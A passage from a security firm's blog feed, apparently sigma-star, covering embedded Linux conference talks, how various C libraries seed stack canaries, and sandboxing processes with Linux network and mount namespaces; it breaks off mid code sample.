and worked with Wolfgang, we agree with Tim that he will definitely be missed!
Moreover, elinux.org, a valuable resource for the community, has lost its funding and now faces an uncertain future.</p>
<h4 id="toolchain-options-in-2023-whats-new-in-compilers-and-libcs">Toolchain Options in 2023: What&rsquo;s New in Compilers and Libcs?</h4>
<p>Bernhard Rosenkränzer from BayLibre provided a comprehensive overview of the toolchain landscape in 2023.
In addition to the traditional GNU toolchain (GCC, binutils, and glibc), we now have excellent tools from the LLVM project as well.
Bernhard conducted an unbiased comparison of all the available options and emphasized that having
more choices leads to increased test coverage for a project.
He also introduced lesser-known libc implementations that could prove valuable for deep embedded systems.</p>
<p>One of the key takeaways from his presentation was that building the same project using different toolchains aids in bug discovery.
This is because each compiler has its unique approach to detecting code issues.
From a security perspective, this is something we can attest to!</p>
<h4 id="muse-mtd-in-userspace-or-how-to-extend-fuse-for-fun-and-profit">MUSE: MTD in Userspace, or How to Extend FUSE for Fun and Profit</h4>
<p>Our own Richard Weinberger gave a nice talk on his work-in-progress debugging and evaluation tool
for MTD. With MUSE he utilizes the existing FUSE interfaces and (slightly) extended
them to now support writing MTD drivers in userspace.</p>
<p>Richard&rsquo;s motivation for creating MUSE stems from him maintainer work in various Kernel
raw flash subsystems: NAND, MTD, UBI, UBIFS. While the Kernel already has tools for this
(mtdram, block2mtd, nandsim) all of them have their drawbacks and using them can be quite
cumbersome. Everybody who had to figure out the proper NAND IDs for nandsim will be able
to relate ;-)</p>
<p>Richard started with an overview of his various attempts for MUSE and why FUSE
has a great fit for his use case. He also gave more detailed insights into the
FUSE interface, how he used them for MUSE and how it might be useful for other
use cases as well.</p>
<h4 id="evaluation-of-preempt_rt-in-virtualized-environments">Evaluation of PREEMPT_RT in Virtualized Environments</h4>
<p>As we ourselves know from experience with our customers proper real-time behavior is
often hard to achieve. Jan Altenberg from OSADL presented his findings from latency
measurements in virtualized scenarios.</p>
<p>He evaluated multiple scenarios from using containerized environments with Docker
and fully virtualized settings with KVM and Jailhouse. His focus was primarily on
thread latency (tested with <code>cyclictest</code>) and the influence of blocking kernel code (e.g. some
misbehaving device driver) and shared hardware resources like the CPU cache on real-time behavior in
host and guest OS.</p>
<p>The core takeaway from this talk is that correct assignment of hardware resources
like CPU cores and configuration of hardware is essential to achieving good results.
As one would expect, containerized environments with a shared OS Kernel have much
more influence on real-time behavior on the whole system than properly configured
virtualized environments. In Jan&rsquo;s test, the most effective isolation was
achieved when he used Jailhouse. Though even there, effects from the CPU cache will
still cause disturbance between individual guest OSes depending on the CPU and
guest OS segmentation.</p>
<p>Having access to the large OSADL real-time testing infrastructure definitely helped
with this. In case you want to check out the OSADL QA Farm for real-time for yourself <a href="https://www.osadl.org/OSADL-QA-Farm-Real-time.linux-real-time.0.html">here</a>.</p>
<h4 id="fetching-configuring-and-building-your-bitbake-project-with-just-one-command">Fetching, Configuring and Building Your Bitbake Project with Just One Command</h4>
<p>Jan Kiszka of Siemens AG presented <code>kas</code> (Bavarian for &ldquo;cheese&rdquo; or &ldquo;nonsense&rdquo;), a simple yet efficient
tool for setting up and performing Yocto builds.
Traditionally, when building a Yocto-based project, it is the responsibility of the project owner to
manage and checkout all the associated meta layers, create various configuration files, and initiate the build process.</p>
<p><code>kas</code> allows describing the entire project in a single YAML file and provides tools for checking
out, managing, and building the project.
Additionally, there is an accompanying wrapper called <code>kas-container</code>, which runs the entire Yocto
build within a Docker or Podman container.
This approach ensures that the build environment is completely separate from the host system,
minimizing any potential side effects during the build.</p>
<p>The project has been in existence since 2017, and at sigma star gmbh, we have been using it with
great success for the majority of our Yocto projects since 2021.</p>
<h4 id="setting-up-yocto-layers-and-builds-with-official-tools">Setting up Yocto Layers and Builds with Official Tools</h4>
<p>On a similar subject as the talk on <code>kas</code>, however with different goals and a
different implementation, Alexander Kanavin presented the new official Yocto
way to manage and reproduce build configurations and layers. Historically,
the Yocto Project did not provide such tools, which changed with the latest release(s).</p>
<p>In the current release (mickledore), the <code>bitbake-layers</code> tool is able to save its
configuration, which can afterward be restored with <code>oe-init-build-env</code> and
<code>oe-setup-build</code> (patch set is currently under code-review), respectively.
In the future, an additional high-level tool for setting up Yocto builds, called
<code>oe-setup</code> may be possibly available via PyPi, making build initialization even
simpler. Also an integration with <code>kas</code> using a plugin is possible in the future.</p>
<h4 id="why-are-gpus-not-fast---a-trip-through-the-driver-stack">Why Are GPUs (Not) Fast - A Trip Through the Driver Stack</h4>
<p>Pengutronix&rsquo;s GPU expert, Lucas Stach, provided a crisp overview of the pipelining and scheduling of GPU
based rendering pipelines. The takeaway message was that GPUs are primarily
optimized for throughput, not latency. A rendering pipeline involving shared
resources, multiple compositing steps, and frame write synchronized with
vertical refresh can easily rake up a latency in the double digit milliseconds.</p>
<p>This becomes relevant in the context of real-time applications, where we are
interested in optimizing for stable, low latency.
Generally, when discussing real-time properties, one should keep in mind that latency, jitter and
throughput are separate concepts. &ldquo;Real-time&rdquo; does not necessarily
mean &ldquo;real-fast&rdquo;. GPUs are primarily optimized for the latter.</p>
<h4 id="tracking-vulnerabilities-with-buildroot-and-yocto">Tracking Vulnerabilities with Buildroot and Yocto</h4>
<p>Arnout gave an interesting talk on how to track vulnerabilities across all your dependencies
with Buildroot and Yocto. Both projects include tooling to use CVE identifiers published via
the NVD for tracking vulnerabilities. It was interesting to see that the current tooling sometimes
makes tracking known vulnerabilities within your custom Linux distribution quite cumbersome.</p>
<p>Arnout went on explaining how tracking vulnerabilities across open source software using
CVE and CPE databases is even further complicated by the fact that the information in these
database is often not fully accurate. For example affected version numbers for vulnerabilities
are incorrect or project names do not match up. For example OpenSSL as maintained upstream
should be treated differently than OpenSSL maintained by Debian as the maintainers
backport certain security fixes to older versions.</p>
<p>The talk concluded with a discussion of alternative ways for tracking vulnerabilities: OSV (Open Source Vulnerabilities)
which look like an interesting alternative to CVEs if they get widely adopted.</p>
<h4 id="testing-and-remote-access-to-embedded-system-dpilvds-display-output">Testing and Remote Access to Embedded System DPI/LVDS Display Output</h4>
<p>In this presentation, Marek Vasut presented his various approaches to access
embedded display outputs remotely for testing. It turned out, that this could
actually be pretty useful for some of our customer&rsquo;s projects too.</p>
<p>His presentation gave an in-depth overview about the various implementation
options and the overall development odyssey. He started off with an introduction
of high-bandwidth interfaces usable for capturing display output (USB 3.0 is the
only real fitting candidate) and gave a rough overview over embedded system
display buses.</p>
<p>Then, Marek presented the first, failed approach of using an FPGA with a bridge
chip as a USB Video-Class (UVC) device, which had seemed like the obvious
solution, but failed because of inflexibility and implementation problems.
The second implementation, using the bridge chip as a FIFO directly,
surprisingly worked out in the end.</p>
<p>After an initial, more or less &ldquo;hacky&rdquo; (albeit working) solution using some
signal analyzer software, he designed his own PCBs and software for this
use case. Marek also made his KiCad schematics and code openly available.</p>
<h2 id="summary">Summary</h2>
<p>As always, the conference was a great exchange of ideas, featuring numerous captivating talks.
Moreover, the hallway track provided an excellent opportunity for networking and intense discussions.
We had the pleasure of meeting many fascinating individuals and engaging in stimulating conversations.</p>
<figure>
<img src="castle.jpeg" loading="lazy" decoding="async" alt="Prague Castle" width="1280" height="708"></figure>
<p>During our time at the summit, we had more to experience than just the conference sessions and talks.
As a group, we took the chance to visit Prague Castle and enjoy some sightseeing. We admired the
impressive architecture, explored the historic halls, and appreciated the cultural heritage of this
captivating city. To wrap up the conference, we participated in a closing game hosted by Tim Bird,
which added an entertaining element. The game included a few quiz questions related to Prague and its
famous landmarks, which made our sightseeing excursion even more meaningful.</p>
]]></content:encoded></item><item><title>Who's your canary?</title><link>https://sigma-star.at/blog/2023/05/stack-canary/</link><pubDate>Tue, 30 May 2023 00:00:00 +0200</pubDate><author>Aaron Marcher</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/05/stack-canary/</guid><description><![CDATA[<h1 id="whos-your-canary">Who&rsquo;s your canary?</h1>
<p>A few weeks ago we gave a training on secure coding and talked about the stack
protector on Linux. While roughly explaining how it works and how it can be utilized
with <em>GCC</em>, an attendee asked where the stack canary comes from. The question was
quickly resolved by answering that it&rsquo;s a random value provided by the kernel upon
process startup.</p>
<p>But where does the value really come from? This question turned out to be more
interesting than expected. In this blog post we will give you a rough overview
where the stack canary comes from with different libc implementations.</p>]]></description><content:encoded><![CDATA[<h1 id="whos-your-canary">Who&rsquo;s your canary?</h1>
<p>A few weeks ago we gave a training on secure coding and talked about the stack
protector on Linux. While roughly explaining how it works and how it can be utilized
with <em>GCC</em>, an attendee asked where the stack canary comes from. The question was
quickly resolved by answering that it&rsquo;s a random value provided by the kernel upon
process startup.</p>
<p>But where does the value really come from? This question turned out to be more
interesting than expected. In this blog post we will give you a rough overview
where the stack canary comes from with different libc implementations.</p>
<h2 id="short-recap">Short recap</h2>
<figure>
<img src="canary.png?width=50" loading="lazy" decoding="async" alt="Canary in the stack"></figure>
<p>Stack canaries are a security feature implemented in many software programs to
help mitigate buffer overflow attacks. The stack protector places a
randomized <em>canary</em> value at a specific position on the function stack.
It is crucial that the value is not known to the attacker, not can be easily guessed.
This is why the canary value is randomly selected for each newly executed program.
Please note that the value is not unique per process, if a process is copied,
i.e. via <code>fork()</code>, then also the canary value stays the same.
Before function returns the value is compared to the initial one. If it changed, the
stack is corrupted and execution aborts to prevent an attacker from executing their malicious code.</p>
<p>For example, in <em>GCC</em> the stack protector can be enabled using the
<code>-fstack-protector</code> compiler option.</p>
<h2 id="implementing-a-canary">Implementing a canary</h2>
<p>Let&rsquo;s take a look at how various stack protector implementations select the canary value.
In most implementations, the symbol <code>__stack_chk_guard</code> holds the canary value,
and the function <code>__stack_chk_fail()</code> is called upon failure.</p>
<h3 id="libssp">libssp</h3>
<p><em>libssp</em> is a standalone library included in <em>GCC</em>, if enabled, providing
stack protection mechanisms. Per default, it is disabled on most Linux systems,
but it has proven to be useful on bare metal (embedded) systems without a libc.</p>
<p>To generate its canaries, it tries to read from <code>/dev/urandom</code> if present. Otherwise, the canary is hard-coded to the values <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code>. These values are chosen to stop string functions and prevent stack overflow:</p>
<ul>
<li><code>0x00</code> is the NULL character, terminating a string</li>
<li><code>0xff</code> is invalid according to the UTF-8 specification</li>
<li><code>0x0a</code> is a newline character</li>
</ul>
<p>Running <code>gcc -v</code> on your distro will most likely show <code>--disable-libssp</code>.</p>
<p>Source:
<a href="https://gcc.gnu.org/git/?p=gcc.git;f=libssp/ssp.c;hb=83ffe9cde7fe0b4deb0d1b54175fd9b19c38179c#l73"><code>gcc/libssp/ssp.c:73</code></a></p>
<h3 id="glibc">glibc</h3>
<p>When there is no <code>libssp</code> support is available, <em>glibc</em> can handle canaries on its own.
For each newly started program, the kernel generates a random
value and passes it to the program using the auxiliary vector<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> <code>AT_RANDOM</code> from the userspace&rsquo;s
auxiliary vector. On non-Linux systems, <em>glibc</em> falls back to using the value <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code> (see <em>libssp</em>).</p>
<p>To retrieve the value for the current execution, set <code>LD_SHOW_AUXV=1</code>.</p>
<pre><code>$ LD_SHOW_AUXV=1 /bin/true | grep AT_RANDOM
AT_RANDOM:       0x7ffcacfa8c49
</code></pre>
<p>Source:
<a href="https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/dl-osinfo.h;h=e01da53900cc5c501d978443acbb3f3b0b937c59;hb=HEAD#l26"><code>glibc/sysdeps/unix/sysv/linux/dl-osinfo.h:26</code></a></p>
<h3 id="musl-libc">musl libc</h3>
<p>The lightweight alternative C library <em>musl</em> uses <code>AT_RANDOM</code> for its stack
canaries, just like <em>glibc</em>. As a fallback on non-Linux it uses the address of
<code>__stack_chk_guard</code> multiplied by a <em>magic</em> value (<code>0x41C64E6D</code>), which may
seem suboptimal at first glance.</p>
<p>However, if <em>ASLR</em> is available, it can serve as a source of randomness.
<em>ASLR</em> randomizes memory addresses, making it challenging for
attackers to exploit memory-related vulnerabilities. By relying on ASLR to randomize the stack canary value in the fallback scenario, it ensures that the canary is not easily guessable.</p>
<p>Source:
<a href="https://git.musl-libc.org/cgit/musl/tree/src/env/__stack_chk_fail.c?id=74a28a8af21977ebbc2945beb879f1b9b6ff13ba#n7"><code>musl/src/env/__stack_chk_fail.c:7</code></a></p>
<h3 id="bionic-libc">bionic libc</h3>
<p>The <em>bionic libc</em>, utilized by Google on Android, uses an <em>arc4</em> random
number generator if the <code>/dev/urandom</code> pseudo-device is available. If not, it
falls back to using <code>AT_RANDOM</code> through the auxiliary vector.</p>
<p>Source:
<a href="https://android.googlesource.com/platform/bionic/&#43;/a1e3f2c50253c67f3ed647ae64a066751dc4b857/libc/bionic/__libc_init_main_thread.cpp#109"><code>bionic/libc/bionic/__libc_init_main_thread.cpp:109</code></a></p>
<h3 id="uclibc-ng">uclibc-ng</h3>
<p><em>uclibc-ng</em> is a small C library primarily designed for embedded systems. For the
random number generation of its stack protector it utilizes <code>/dev/urandom</code> by
default. Alternatively, it can also fall back to a pseudo-random approach based on
a <em>magic</em> value (<code>0xFF0A0D00UL</code>) xor current time.</p>
<p>Source:
<a href="https://cgit.uclibc-ng.org/cgi/cgit/uclibc-ng.git/tree/libc/sysdeps/linux/common/dl-osinfo.h?id=b534100aaae00dd58ca907b60cd0510ccdc6df10#n36"><code>uclibc-ng/libc/sysdeps/linux/common/dl-osinfo.h:36</code></a></p>
<h3 id="dietlibc">dietlibc</h3>
<p>The statically linked C library, developed by fefe, also
takes hold of <code>AT_RANDOM</code> for stack canary generation, with an optional
fallback to <code>/dev/urandom</code>.</p>
<p>Source: <a href="https://www.fefe.de/dietlibc/"><code>dietlibc/lib/stackgap-common.h</code></a></p>
<h3 id="picolibc-not-really-linux-specific">picolibc (not really Linux specific)</h3>
<p><em>picolibc</em> is another C library primarily used on embedded systems, particularly in scenarios with very limited main memory. Per default, it uses the
<em>magic</em> value <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code> (see <em>libssp</em>). If feasible and constructors are available, it utilizes the random number generator of the operating system.</p>
<p>Source:
<a href="https://keithp.com/cgit/picolibc.git/tree/newlib/libc/ssp/stack_protector.c?id=ae418e7598407eff329744ecbb0c1348ab4a79c9#n21"><code>picolibc/newlib/libc/ssp/stack_protector.c:21</code></a></p>
<h3 id="linux-kernel-no-libc">Linux kernel (no libc)</h3>
<p>The Linux kernel itself incorporates a stack protector mechanism for each kernel stack. It obtains random numbers from its internal random number generator.</p>
<p>Source:
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/stackprotector.h?id=b3883a9a1f09e7b41f4dcb1bbd7262216a62d253#n23"><code>linux/include/linux/stackprotector.h:23</code></a></p>
<h3 id="openbsd-libc">OpenBSD libc</h3>
<p>OpenBSD&rsquo;s libc previously used the <code>getentropy()</code> system call to obtain random values
in its stack canaries, which recevied its bytes directly from the kernel&rsquo;s
entropy pool. However, starting from the 5.3 release, they transitioned to <code>.openbsd.randomdata</code>,
which is an ELF section filled by the kernel on program execution (using its
entropy pool).<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>Source:
<a href="https://github.com/openbsd/src/blob/ea6088e7d368d53c49ebfdf4520275cec2f78f5b/lib/libc/sys/stack_protector.c#L47"><code>openbsd-src/lib/libc/sys/stack_protector.c:47</code></a></p>
<h2 id="conclusionfusion">Con{clusion,fusion}</h2>
<p>The variations in the implementation details of stack protectors
and the generation of its stack canaries across diverse C libraries are
remarkably diverse. Some C libraries utilize the (pseudo) random number generator
of the OS, while others have their own implementations.</p>
<p>Generally, C libraries follow quite sane defaults. However, the main concern
lies in the fallbacks: They are often questionable. One possible attack vector
would be to ensure that the C library falls back to a (less secure) source of
random numbers.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.gnu.org/software/libc/manual/html_node/Auxiliary-Vector.html">https://www.gnu.org/software/libc/manual/html_node/Auxiliary-Vector.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/openbsd/src/blob/master/libexec/ld.so/SPECS.randomdata">https://github.com/openbsd/src/blob/master/libexec/ld.so/SPECS.randomdata</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Restricting network access using Linux Network Namespaces</title><link>https://sigma-star.at/blog/2023/05/sandbox-netns/</link><pubDate>Sun, 07 May 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/05/sandbox-netns/</guid><description><![CDATA[<h1 id="restricting-network-access-using-linux-network-namespaces">Restricting network access using Linux Network Namespaces</h1>
<p>Our <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/" title="Restricting file system access using Linux Mount Namespaces">last blog post</a> explored ways to restrict access to the file system using Linux mount namespaces. In this post, we&rsquo;ll show you how to restrict access to the network using Linux&rsquo;s network namespaces. That&rsquo;s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface.
The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.</p>]]></description><content:encoded><![CDATA[<h1 id="restricting-network-access-using-linux-network-namespaces">Restricting network access using Linux Network Namespaces</h1>
<p>Our <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/" title="Restricting file system access using Linux Mount Namespaces">last blog post</a> explored ways to restrict access to the file system using Linux mount namespaces. In this post, we&rsquo;ll show you how to restrict access to the network using Linux&rsquo;s network namespaces. That&rsquo;s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface.
The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.</p>
<h2 id="the-baseline">The Baseline</h2>
<p>Consider a requirement where an application needs to ensure that it can no longer access the network or establish new connections. One way to achieve this is by creating a new network namespace.</p>
<p>When the application creates a new network namespace, it can no longer access the network nor the host itself. Access is not denied by the namespace mechanisms themselves, but by the way networking works. There is no network interface to the outside world; all the namespace has is a loopback interface. To connect the network namespace to the outside world the application either has to set up a virtual ethernet connection or move a physical network interface into the namespace. This is usually done by container engines and is a privileged operation. By not doing so, the application is network-wise isolated.</p>
<h2 id="network-namespaces">Network Namespaces</h2>
<figure>
<img src="ns.png" loading="lazy" decoding="async" alt="An example of multiple network namespaces" width="969" height="276"> <figcaption class="break-words hyphens-auto">An example of multiple network namespaces</figcaption></figure>
<p>Similar to mount namespaces, creating a network namespace requires the <code>CAP_SYS_ADMIN</code> capability. Therefore, an unprivileged application must first create a new user namespace to be able to create a network namespace.  For simple unprivileged applications, utilizing the <code>unshare()</code> system call is good enough to create a new user and network namespace to disassociate itself from the network. Thus, a call like <code>unshare(CLONE_NEWNET | CLONE_NEWUSER)</code> is sufficient for unprivileged applications to isolate itself from the network. While the application has all capabilities in the freshly created user namespace and can alter the new network namespaces as it wishes, it has no way to establish a virtual network connection to the parent namespace, nor can it re-enter the parent namespace.
This is because it has no capabilities on the host side (the parent namespaces in this case).</p>
<p>If the application is privileged (i.e., it has <code>CAP_SYS_ADMIN</code> and <code>CAP_NET_ADMIN</code>) then it is crucial to drop privileges inside the new user namespace to avoid escape.
Dropping capabilities is usually something you would do with the help of libcap or libcap-ng.
Here, we&rsquo;re using libcap-ng.</p>
<p>The following lines of code outline the needed steps to create a new network namespace and drop privileges.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWUSER</span> <span class="o">|</span> <span class="n">CLONE_NEWNET</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">capng_lock</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">capng_clear</span><span class="p">(</span><span class="n">CAPNG_SELECT_BOTH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">capng_apply</span><span class="p">(</span><span class="n">CAPNG_SELECT_BOTH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">prctl</span><span class="p">(</span><span class="n">PR_SET_NO_NEW_PRIVS</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="pitfall-loopback-interface">Pitfall: Loopback Interface</h2>
<p>Network namespaces come with one pitfall: By default the loopback interface is set to down state. If your new network namespace will contain applications that communicate via loopback, don&rsquo;t forget to bring up the loopback interface. Otherwise, you may observe strange failures because most applications blindly assume loopback.</p>
<p>You can try this yourself using the <code>unshare</code> tool in your favorite shell:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> unshare -Unr
</span></span><span class="line"><span class="cl"><span class="gp">$</span> ping localhost
</span></span><span class="line"><span class="cl"><span class="go">connect: Cannot assign requested address
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="gp">$</span> ip link <span class="nb">set</span> up dev lo
</span></span><span class="line"><span class="cl"><span class="gp">$</span> ping localhost
</span></span><span class="line"><span class="cl"><span class="go">PING localhost(localhost (::1)) 56 data bytes
</span></span></span><span class="line"><span class="cl"><span class="go">64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.055 ms
</span></span></span></code></pre></div><h2 id="inherited-sockets">Inherited Sockets</h2>
<p>Please note that network namespaces, actually Linux namespaces in general, have no influence on existing file handles. Therefore, if your application possesses a file handle to a socket from another network namespace, it can use it in the new network namespace smoothly.</p>
<p>This is a useful feature as it allows creating network servers that can serve a listening socket but are disconnected from the outside world. If an attacker manages to overtake the application, they are unable to create a new socket to reach destinations outside the sandbox.
<a href="https://sigma-star.at/blog/2023/05/sandbox-netns/nonetsrv.c">Here</a> you can find a sample application that outlines the idea.</p>
<h2 id="summary">Summary</h2>
<p>Namespace are not only useful for building containers, but they can also be utilized to restrict access. In this case, we used network namespaces to deny access to the network.
For more details on namespaces, see <a href="https://man7.org/linux/man-pages/man7/namespaces.7.html">namespaces(7)</a>.</p>
]]></content:encoded></item><item><title>Too many CPUs to build</title><link>https://sigma-star.at/blog/2023/04/too-many-cpus/</link><pubDate>Sun, 09 Apr 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/04/too-many-cpus/</guid><description><![CDATA[<h1 id="too-many-cpus-to-build">Too many CPUs to build</h1>
<p>Lately, we&rsquo;ve been facing strange build errors on one of our build servers.
Building a Yocto based firmware sometimes failed to build.
While the error message was clear - bitbake&rsquo;s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem.
The error message from bitbake indicated a connection reset.
Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.</p>]]></description><content:encoded><![CDATA[<h1 id="too-many-cpus-to-build">Too many CPUs to build</h1>
<p>Lately, we&rsquo;ve been facing strange build errors on one of our build servers.
Building a Yocto based firmware sometimes failed to build.
While the error message was clear - bitbake&rsquo;s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem.
The error message from bitbake indicated a connection reset.
Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.</p>
<p>When the issue occured first, we thought it was a network glitch and didn&rsquo;t bother much.
But the issue persisted and occurred again. With more failures, we were able to characterize the problem:</p>
<ul>
<li>Incremental rebuilds failed most likely</li>
<li>Full builds with an empty <code>sstate-cache</code> never failed</li>
<li>Full builds with a populated <code>sstate-cache</code> failed often</li>
<li>Manual rebuild of a single tailed target always worked</li>
<li>Only recipes with <code>AUTOREV</code> were affected</li>
<li>Only recipes that fetch from a specific git server using ssh were affected</li>
</ul>
<p>In the meantime, we suspected the connection to the git server - but none of our tests indicated a problem.
Reaching the git server in question involves another ssh jump host and a VPN connection to a customer. So there were quite a few components which were not under our control.</p>
<p>Finally, setting the log level of the ssh jump host to verbose gave us the crucial clue, as it logged:</p>
<pre tabindex="0"><code>drop connection #10 from hidden:48324 on hidden:22 past MaxStartups
</code></pre><p>So, we&rsquo;ve been overrunning the jump host by reaching more than 10 concurrent unauthenticated connections. This was the reason behind the strange build errors!
Due to Yocto&rsquo;s parallelism, it ran <code>git ls-remote</code> in parallel and established at least one connection per CPU.
The affected build server has way more than 10 CPUs.
This explains why only our most powerful server was affected, and only rebuilds or builds with populated <code>sstate-cache</code> failed sometimes.
All other builds ran enough other tasks in between to never reach the connection limit.</p>
<h2 id="the-morale-of-the-story">The morale of the story?</h2>
<p>Always make sure that you allow more parallel connections than you have CPUs.
In our case, adjusting sshd&rsquo;s <code>MaxSessions</code> and <code>MaxStartups</code> settings fixed the problem.</p>
]]></content:encoded></item><item><title>Restricting file system access using Linux Mount Namespaces</title><link>https://sigma-star.at/blog/2023/03/sandbox-mountns/</link><pubDate>Sat, 18 Mar 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/03/sandbox-mountns/</guid><description><![CDATA[<h1 id="restricting-file-system-access-using-linux-mount-namespaces">Restricting file system access using Linux Mount Namespaces</h1>
<p>Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you&rsquo;ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.</p>
<h2 id="the-baseline">The baseline</h2>
<p>Let&rsquo;s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to <code>/home</code> should be impossible. Or an application which runs within your user session should have no access to your <code>.ssh</code> folder which contains usually valuable assets.</p>]]></description><content:encoded><![CDATA[<h1 id="restricting-file-system-access-using-linux-mount-namespaces">Restricting file system access using Linux Mount Namespaces</h1>
<p>Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you&rsquo;ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.</p>
<h2 id="the-baseline">The baseline</h2>
<p>Let&rsquo;s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to <code>/home</code> should be impossible. Or an application which runs within your user session should have no access to your <code>.ssh</code> folder which contains usually valuable assets.</p>
<p>Mount namespaces are one way to achieve this. Let&rsquo;s write an unprivileged program which can be used as wrapper for another application but it will hide <code>.ssh</code> in the home directory.
By using mount namespaces it is possible to make a copy of the current namespace and edit it.
A program can either</p>
<ul>
<li>use the <code>unshare()</code> system call to disconnect itself from the current namespace and create a new one, or:</li>
<li>create a new child process with <code>clone()</code> where the child has a new namespace.</li>
</ul>
<h2 id="user-namespaces">User Namespaces</h2>
<p>The act of creating a new mount namespace is restricted to processes which have the <code>CAP_SYS_ADMIN</code> capability. To use this facility in an unprivileged program we have to use a second namespace: the user namespace. User namespaces allow an unprivileged process gaining all capabilities and being uid 0. Linux guarantees that all actions taken by uid 0 within a user namespace adhere to the access rights of the unprivileged process. That way an unprivileged process can do things usually only root can do, but no action will have a visible effect to processes outside of the namespace.</p>
<h3 id="configuration-of-a-user-namespace">Configuration of a user namespace</h3>
<p>By calling <code>unshare(CLONE_NEWNS | CLONE_NEWUSER)</code> our program will gain a new user and mount namespace. Before we can proceed, we need to configure the user namespace. We want to have uid 0 with all capabilities inside our new user namespace. To achieve this, we must install a user and group mapping. The mapping tells Linux that everything we do inside the namespace should run outside the namespace as our current user id.
Unprivileged processes are only allowed to install exactly one mapping where the target user and group ids match the outer namespace. Otherwise a processes could gain more privileges than it has.</p>
<p>Both user and group id mappings are controlled via two files in the processes&rsquo; <code>/proc</code> directory, <code>/proc/PID/uid_map</code> and <code>/proc/PID/gid_map</code>.
Let&rsquo;s assume the current uid is 1000 and gid is 100, then we need to write <code>1000 0 1</code> and <code>100 0 1</code> into the map files.
So ids 1000 or 100 should be mapped to 0 once.
Furthermore, the processes&rsquo;s <code>setgroups</code> file has to be configured to <code>deny</code>. This is needed to be able to switch the group id within the user namespace. Only privileged processes are allowed to keep the file set to <code>allow</code> and therefore can modify their set of supplementary groups.</p>
<p>After this overly complicated setup procedure we&rsquo;re allowed to run <code>setuid(0)</code> and <code>setgid(0)</code> to become uid 0 within the user namespace and can finally work on the mount namespace.</p>
<h3 id="creating-helper-functions">Creating helper functions</h3>
<p>To ease things, let&rsquo;s create first a helper function which writes a single line into a file below <code>/proc/self/</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">write_proc_self</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">;</span>
